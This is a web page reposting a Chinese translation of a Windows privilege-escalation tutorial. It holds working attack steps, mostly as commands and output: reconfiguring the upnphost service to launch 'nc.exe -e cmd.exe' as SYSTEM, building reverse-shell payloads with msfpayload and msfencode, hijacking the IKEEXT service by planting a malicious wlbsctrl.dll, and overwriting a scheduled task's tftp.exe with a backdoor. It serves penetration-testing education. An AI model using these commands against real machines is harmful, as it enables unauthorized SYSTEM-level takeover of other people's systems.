  <p>我们将会检查很多访问权限,所以我们应该抓取一份微软 Sysinternals 套件中 accesschk.exe 工具的副本。微软 Sysinternals 套件包含了许多强大的工具,但微软并没有把它们加入标准版的 Windows。你可以从 微软 technet 网站下载该套件 </p> 
  <p>我们将会先从 Windows 开启的服务来寻找线索,因为那里可以发现很多快速制胜的方法。通常来说,现代操作系统不会包含存在漏洞的服务。在这种情况下,漏洞指的是我们可以重新配置的服务参数。Windows 服务有点像应用程序的快捷键,下面是一个例子</p> 
  <pre><code># We can use sc to query, configure and manage windows services.

C:\Windows\system32> sc qc Spooler

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Spooler
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\spoolsv.exe
        LOAD_ORDER_GROUP   : SpoolerGroup
        TAG                : 0
        DISPLAY_NAME       : Print Spooler
        DEPENDENCIES       : RPCSS
                           : http
        SERVICE_START_NAME : LocalSystem</code></pre> 
  <p>我们可以使用 accesschk 检查每一个服务的权限</p> 
  <pre><code># We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.

C:\> accesschk.exe -ucqv Spooler

Spooler

  R  NT AUTHORITY\Authenticated Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  R  BUILTIN\Power Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS</code></pre> 
  <p>Accesschk 可以自动化的检测我们是否拥有一个 Windows 服务的写入访问权限。作为一个低权限用户,我们通常希望检查结果为 “Authenticated Users”。一定要去检查你的用户属于哪个用户组,举个例子,“Power Users” 被认为是一个低权限用户组(尽管它没有被广泛使用) </p> 
  <p>一起来比较一下在 Windows 8 和 Windows XP SP0 上输出的不同</p> 
  <pre><code># This is on Windows 8.

C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.

# On a default Windows XP SP0 we can see there is a pretty big security fail.

C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS
		
C:\> accesschk.exe -ucqv SSDPSRV

SSDPSRV

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS

C:\> accesschk.exe -ucqv upnphost

upnphost

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS</code></pre> 
  <p>这个问题在之后的 XP SP2 版本中得到了解决,然而在 SP0 和 SP1 它可以被用作一个通用的本地提权漏洞。通过重新配置该服务,我们可以让它以 SYSTEM 权限运行任何我们指定的二进制文件。 让我们来看看怎么实践操作,在这个例子里该服务将会执行 netcat 并且可以反弹一个 SYSTEM 权限的 shell。其它的操作方法当然也是可能存在的。</p> 
  <pre><code>C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\System32\svchost.exe -k LocalService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : NT AUTHORITY\LocalService
		
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS

C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS

C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : LocalSystem
		
C:\> net start upnphost</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/2701e5fb32dc4b7d9ada2740211eba59.jpg" target="_blank"><img alt="Windows提权基本原理_第3张图片" height="404" src="http://img.e-com-net.com/image/info8/2701e5fb32dc4b7d9ada2740211eba59.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>即使服务是不正确配置的,我们大多时候也不能获取该服务完整的控制权限。下图是从 Brett Moore’s 在 Windows 提权方面的渗透测试,图中的任一权限都可以给我们一个 SYSTEM shell</p> 
  <p><a href="http://img.e-com-net.com/image/info8/f5fa8d81a69b443ab7570c0b3daf60c6.jpg" target="_blank"><img alt="Windows提权基本原理_第4张图片" height="222" src="http://img.e-com-net.com/image/info8/f5fa8d81a69b443ab7570c0b3daf60c6.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>重要的是去记住我们搞定的 session 是属于哪个用户组的,正如先前提到的 “Power Users” 被视为是一个低权限用户组。但 “Power Users” 也有一些属于他们自己的配置漏洞, Mark Russinovich 已经在这个问题上写了非常有趣的文章。 “Power Users” 的力量 ( Mark Russinovich ) </p> 
  <p>最后,我们将会检查文件/目录的权限,如果我们不能直接攻击计算机系统,我们就让计算机做所有的繁重工作。由于这方面涉及内容太多,所以我将介绍两种提权漏洞给你,并展示如何去利用它们。一旦你掌握了通用的思路,你将能够在其它场景下应用这些技术。</p> 
  <p><strong>实例一 </strong></p> 
  <p>作为第一个示例,我们将复现 GreyHatHacker 上 Parvez 的一篇文章中的方法。“利用低文件夹权限提权”,这是一个很棒的提权思路,我非常推荐大家去阅读。 </p> 
  <p>这个示例是DLL 劫持中的一个特例。程序通常不能通过它们自身实现功能,它们需要挂载许多自身所需的资源(大多是 DLL 但也有某些特有文件)。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件,那我们就可以借此弹出一个与之相同权限的 shell 通常一个 Windows 应用程序将会使用一个预定义的搜索路径去寻找 DLL 组件,而且它会以特定的顺序检查这些路径。DLL 劫持经常是将一个恶意的 DLL 置于某一搜索路径中,并确保恶意 DLL 会在合法的 DLL 之前被找到。 </p> 
  <p>以下是在32位操作系统下 DLL 查找的顺序</p> 
  <ul> 
   <li>The directory from which the application loaded</li> 
   <li>32-bit System directory (C:\Windows\System32)</li> 
   <li>16-bit System directory (C:\Windows\System)</li> 
   <li>Windows directory (C:\Windows)</li> 
   <li>The current working directory (CWD)</li> 
   <li>Directories in the PATH environment variable (system then user)</li> 
  </ul> 
  <p>有时应用程序想要加载的 DLL 可能不在主机上,引起该问题的原因有很多,比如当 DLL 文件只存在于某个未安装的插件或者计算机特性(feature)时。在这种情况下, Parvez 发现某些 Windows 服务会去试图加载默认安装中不存在的 DLL。 </p> 
  <p>但由于问题中的 DLL 不存在,所以我们将遍历所有路径。作为一个低权限的用户,也许我们可以去放置一个恶意 DLL 在上述路径中的 1-4 中。而路径 5 是行不通的,因为我们正在研究的是 Windows 服务,我们并没有所有目录的写权限 </p> 
  <p>让我们来看一下如何进行实战,在本例中,我们将会利用需要加载 wlbsctrl.dll 的 IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务</p> 
  <pre><code># This is on Windows 7 as low privilege user1.

C:\Users\user1\Desktop> echo %username%

user1

# We have a win here since any non-default directory in "C:\" will give write access to authenticated
users.
		
C:\Users\user1\Desktop> echo %path%

C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27

# We can check our access permissions with accesschk or cacls.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> cacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
			
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot!
		
C:\Users\user1\Desktop> sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES       : BFE
        SERVICE_START_NAME : LocalSystem</code></pre> 
  <p>现在必要的条件都已经满足了,我们可以生成一个恶意的 DLL 并弹出一个 shell</p> 
  <pre><code>root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > 
/root/Desktop/evil.dll

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}</code></pre> 
  <p>在将恶意 DLL 传送到靶机之后,我们需要将它重命名为 wlbsctrl.dll 并将它移动到 “C:\Python27” 路径下。完成后,我们只需要耐心等待机器被重启(或者我们可以尝试强制重启),之后我们就可以得到一个 SYSTEM shell。</p> 
  <pre><code># Again, this is as low privilege user1.

C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/18/2014  01:49 PM    <DIR>          .
02/18/2014  01:49 PM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/18/2014  12:38 PM            14,336 evil.dll
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
11/22/2013  07:39 PM             1,225 wmic_info.bat
               5 File(s)      2,051,897 bytes
               3 Dir(s)      73,052,160 bytes free

C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll

        1 file(s) copied.
		
C:\Users\user1\Desktop> dir C:\Python27

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Python27

02/18/2014  01:53 PM    <DIR>          .
02/18/2014  01:53 PM    <DIR>          ..
10/20/2012  02:52 AM    <DIR>          DLLs
10/20/2012  02:52 AM    <DIR>          Doc
10/20/2012  02:52 AM    <DIR>          include
01/28/2014  03:45 AM    <DIR>          Lib
10/20/2012  02:52 AM    <DIR>          libs
04/10/2012  11:34 PM            40,092 LICENSE.txt
04/10/2012  11:18 PM           310,875 NEWS.txt
04/10/2012  11:31 PM            26,624 python.exe
04/10/2012  11:31 PM            27,136 pythonw.exe
04/10/2012  11:18 PM            54,973 README.txt
10/20/2012  02:52 AM    <DIR>          tcl
10/20/2012  02:52 AM    <DIR>          Tools
04/10/2012  11:31 PM            49,664 w9xpopen.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
               7 File(s)        523,700 bytes
               9 Dir(s)      73,035,776 bytes free</code></pre> 
  <p>万事俱备,我们只需要等待机器重启。出于演示目的,我在下面截图中是使用管理员指令手动重启该服务</p> 
  <p><a href="http://img.e-com-net.com/image/info8/e8072089ff41406fb4b763b0d8e0bbe4.jpg" target="_blank"><img alt="Windows提权基本原理_第5张图片" height="397" src="http://img.e-com-net.com/image/info8/e8072089ff41406fb4b763b0d8e0bbe4.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>对于我们最后的例子,我们将关注于计划任务。回顾我们之前搜集到的信息,我们有以下条目</p> 
  <pre><code>HostName:                             B33F
TaskName:                             \LogGrabberTFTP
Next Run Time:                        2/19/2014 9:00:00 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               B33F\b33f
Task To Run:                          E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           9:00:00 AM
Start Date:                           2/17/2014
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled</code></pre> 
  <p>这看起来像有一个 TFTP 客户端连接到远程主机去搜集某些 log 文件。我们可以看到这个任务每日早9点以 SYSTEM 权限运行,再看看我们是否有这个文件夹的写入权限</p> 
  <pre><code>C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"

E:\GrabLogs
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
		
C:\Users\user1\Desktop> dir "E:\GrabLogs"

 Volume in drive E is More
 Volume Serial Number is FD53-2F00

 Directory of E:\GrabLogs

02/18/2014  11:34 PM    <DIR>          .
02/18/2014  11:34 PM    <DIR>          ..
02/18/2014  11:34 PM    <DIR>          Logs
02/18/2014  09:21 PM           180,736 tftp.exe
               1 File(s)        180,736 bytes
               3 Dir(s)   5,454,602,240 bytes free</code></pre> 
  <p>显然这是一个严重的配置问题,这个计划任务根本不需要以 SYSTEM 权限执行,但更糟糕的是任何授权的用户都有该目录的写权限。理想情况下,对于一次渗透测试我会抓取一个 TFTP 客户端在里面放一个后门,确保它仍然正常工作,再将其放回靶机。然而出于演示目的,我们可以简单的通过 metasploit 生成一个二进制文件然后直接覆盖它。</p> 
  <pre><code>root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)</code></pre> 
  <p>现在工作只剩下上传我们的恶意可执行文件并覆盖掉 “E:\GrabLogs\tftp.exe” 文件。一旦上传成功,我们就可以去休息了,等到明早睡醒就可以得到我们的 shell 。对了,别忘记去检查我们靶机的时间/时区</p> 
  <pre><code>C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/19/2014  01:36 AM    <DIR>          .
02/19/2014  01:36 AM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/19/2014  01:31 AM            73,802 evil-tftp.exe
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
11/22/2013  07:39 PM             1,225 wmic_info.bat
               6 File(s)      2,125,699 bytes
               3 Dir(s)      75,341,824 bytes free
		
C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe

Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes
        1 file(s) copied.</code></pre> 
  <p>为了证明这次提权,我调快了系统时间。从以下截图中可以看到,在早9点时我们得到了 SYSTEM shell</p> 
  <p><a href="http://img.e-com-net.com/image/info8/83bf6adc714f48dc8da78b8a6faad631.jpg" target="_blank"><img alt="Windows提权基本原理_第6张图片" height="415" src="http://img.e-com-net.com/image/info8/83bf6adc714f48dc8da78b8a6faad631.jpg" width="650" style="border:1px solid black;"></a></p> 
  <p>在思考获取文件/文件夹权限时,这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的 binpaths </p> 
  <p>我们已经知道了 accesschk 是一种测试工具。</p> 
  <p>在文章结束之前,我会再给你一些使用 accesschk 的技巧</p> 
  <pre><code># When executing any of the sysinternals tools for the first time the user will be presented with a GUI
pop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flag
to automatically accept the EULA.

accesschk.exe /accepteula ... ... ...

# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*</code></pre> 
  <p>最后的一些想法 </p> 
  <p>本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题,你需要投入大量的工作和研究。就像所有的渗透测试一样,举一反三是关键,你对目标的了解越多,攻击的途径越多,成功的几率就越大。 还要记住,有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题,你可以始终重新配置一个服务,或者创建一个具有系统级别特权的调度任务。 现在就去实践,然后得到SYSTEM!!</p> 
  <p>原文链接:http://www.fuzzysecurity.com/tutorials/16.html</p> 
 </div> 
</div>
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1278140394768449536"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(Windows提权基本原理)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835504596898902016.htm"
                           title="linux sdl windows.h,Windows下的SDL安装" target="_blank">linux sdl windows.h,Windows下的SDL安装</a>
                        <span class="text-muted">奔跑吧linux内核</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/sdl/1.htm">sdl</a><a class="tag" taget="_blank" href="/search/windows.h/1.htm">windows.h</a>
                        <div>首先你要下载并安装SDL开发包。如果装在C盘下,路径为C:\SDL1.2.5如果在WINDOWS下。你可以按以下步骤:1.打开VC++,点击"Tools",Options2,点击directories选项3.选择"Includefiles"增加一个新的路径。"C:\SDL1.2.5\include"4,现在选择"Libaryfiles“增加"C:\SDL1.2.5\lib"现在你可以开始编写你的第</div>
                    </li>
                    <li><a href="/article/1835502704827396096.htm"
                           title="将cmd中命令输出保存为txt文本文件" target="_blank">将cmd中命令输出保存为txt文本文件</a>
                        <span class="text-muted">落难Coder</span>
<a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/cmd/1.htm">cmd</a><a class="tag" taget="_blank" href="/search/window/1.htm">window</a>
                        <div>最近深度学习本地的训练中我们常常要在命令行中运行自己的代码,无可厚非,我们有必要保存我们的炼丹结果,但是复制命令行输出到txt是非常麻烦的,其实Windows下的命令行为我们提供了相应的操作。其基本的调用格式就是:运行指令>输出到的文件名称或者具体保存路径测试下,我打开cmd并且ping一下百度:pingwww.baidu.com>./data.txt看下相同目录下data.txt的输出:如果你再</div>
                    </li>
                    <li><a href="/article/1835502578050363392.htm"
                           title="PHP环境搭建详细教程" target="_blank">PHP环境搭建详细教程</a>
                        <span class="text-muted">好看资源平台</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a>
                        <div>PHP是一个流行的服务器端脚本语言,广泛用于Web开发。为了使PHP能够在本地或服务器上运行,我们需要搭建一个合适的PHP环境。本教程将结合最新资料,介绍在不同操作系统上搭建PHP开发环境的多种方法,包括Windows、macOS和Linux系统的安装步骤,以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类:集成开发环境:例如XAMPP、WAMP、MAMP,这</div>
                    </li>
                    <li><a href="/article/1835491859351302144.htm"
                           title="Python 实现图片裁剪(附代码) | Python工具" target="_blank">Python 实现图片裁剪(附代码) | Python工具</a>
                        <span class="text-muted">剑客阿良_ALiang</span>

                        <div>前言本文提供将图片按照自定义尺寸进行裁剪的工具方法,一如既往的实用主义。环境依赖ffmpeg环境安装,可以参考我的另一篇文章:windowsffmpeg安装部署_阿良的博客-CSDN博客本文主要使用到的不是ffmpeg,而是ffprobe也在上面这篇文章中的zip包中。ffmpy安装:pipinstallffmpy-ihttps://pypi.douban.com/simple代码不废话了,上代码</div>
                    </li>
                    <li><a href="/article/1835449250159357952.htm"
                           title="计算机木马详细编写思路" target="_blank">计算机木马详细编写思路</a>
                        <span class="text-muted">小熊同学哦</span>
<a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E6%9C%A8%E9%A9%AC/1.htm">木马</a><a class="tag" taget="_blank" href="/search/%E6%9C%A8%E9%A9%AC%E6%80%9D%E8%B7%AF/1.htm">木马思路</a>
                        <div>导语:计算机木马(ComputerTrojan)是一种恶意软件,通过欺骗用户从而获取系统控制权限,给黑客打开系统后门的一种手段。虽然木马的存在给用户和系统带来严重的安全风险,但是了解它的工作原理与编写思路,对于我们提高防范意识、构建更健壮的网络安全体系具有重要意义。本篇博客将深入剖析计算机木马的详细编写思路,以及如何复杂化挑战,以期提高读者对计算机木马的认识和对抗能力。计算机木马的基本原理计算机木</div>
                    </li>
                    <li><a href="/article/1835440421300432896.htm"
                           title="2023最详细的Python安装教程(Windows版本)" target="_blank">2023最详细的Python安装教程(Windows版本)</a>
                        <span class="text-muted">程序员林哥</span>
<a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>python安装是学习pyhon第一步,很多刚入门小白不清楚如何安装python,今天我来带大家完成python安装与配置,跟着我一步步来,很简单,你肯定能完成。第一部分:python安装(一)准备工作1、下载和安装python(认准官方网站)当然你不想去下载的话也可以分享给你,还有入门学习教程,点击下方卡片跳转进群领取(二)开始安装对于Windows操作系统,可以下载“executableins</div>
                    </li>
                    <li><a href="/article/1835435380267118592.htm"
                           title="《 C++ 修炼全景指南:十 》自平衡的艺术:深入了解 AVL 树的核心原理与实现" target="_blank">《 C++ 修炼全景指南:十 》自平衡的艺术:深入了解 AVL 树的核心原理与实现</a>
                        <span class="text-muted">Lenyiin</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/%E4%BF%AE%E7%82%BC%E5%85%A8%E6%99%AF%E6%8C%87%E5%8D%97/1.htm">修炼全景指南</a><a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF%E6%8C%87%E5%8D%97/1.htm">技术指南</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/stl/1.htm">stl</a>
                        <div>摘要本文深入探讨了AVL树(自平衡二叉搜索树)的概念、特点以及实现细节。我们首先介绍了AVL树的基本原理,并详细分析了其四种旋转操作,包括左旋、右旋、左右双旋和右左双旋,阐述了它们在保持树平衡中的重要作用。接着,本文从头到尾详细描述了AVL树的插入、删除和查找操作,配合完整的代码实现和详尽的注释,使读者能够全面理解这些操作的执行过程。此外,我们还提供了AVL树的遍历方法,包括中序、前序和后序遍历,</div>
                    </li>
                    <li><a href="/article/1835428779602833408.htm"
                           title="为什么学生不喜欢上学" target="_blank">为什么学生不喜欢上学</a>
                        <span class="text-muted">虾虾说</span>

                        <div>图片发自App《为什么学生不喜欢上学》作者是丹尼尔·威林厄姆。本书从认知心理学角度,结合大量实证案例,阐释了大脑工作的基本原理,回答了关于学习过程的一系列问题。为什么学生不喜欢上学?——大脑工作的基本原理思考是缓慢的、费力的、不可靠的。思考有三个要素,环境、工作记忆和长期记忆。环境是信息来源;长期记忆是知识、经验的巨型仓库,随时可以调取;工作记忆是中央处理器,是加工信息素材的中央厨房,也是思考过程</div>
                    </li>
                    <li><a href="/article/1835425043241332736.htm"
                           title="windows下python opencv ffmpeg读取摄像头实现rtsp推流 拉流" target="_blank">windows下python opencv ffmpeg读取摄像头实现rtsp推流 拉流</a>
                        <span class="text-muted">图像处理大大大大大牛啊</span>
<a class="tag" taget="_blank" href="/search/opencv%E5%AE%9E%E6%88%98%E4%BB%A3%E7%A0%81%E8%AE%B2%E8%A7%A3/1.htm">opencv实战代码讲解</a><a class="tag" taget="_blank" href="/search/%E8%A7%86%E8%A7%89%E5%9B%BE%E5%83%8F%E9%A1%B9%E7%9B%AE/1.htm">视觉图像项目</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/opencv/1.htm">opencv</a>
                        <div>windows下pythonopencvffmpeg读取摄像头实现rtsp推流拉流整体流程1.下载所需文件1.1下载rtsp推流服务器1.2下载ffmpeg2.开启RTSP服务器3.opencv读取摄像头并调用ffmpeg进行推流4.opencv进行拉流5.opencv异步拉流整体流程1.下载所需文件1.1下载rtsp推流服务器下载RTSP服务器下载页面https://github.com/blu</div>
                    </li>
                    <li><a href="/article/1835373236217540608.htm"
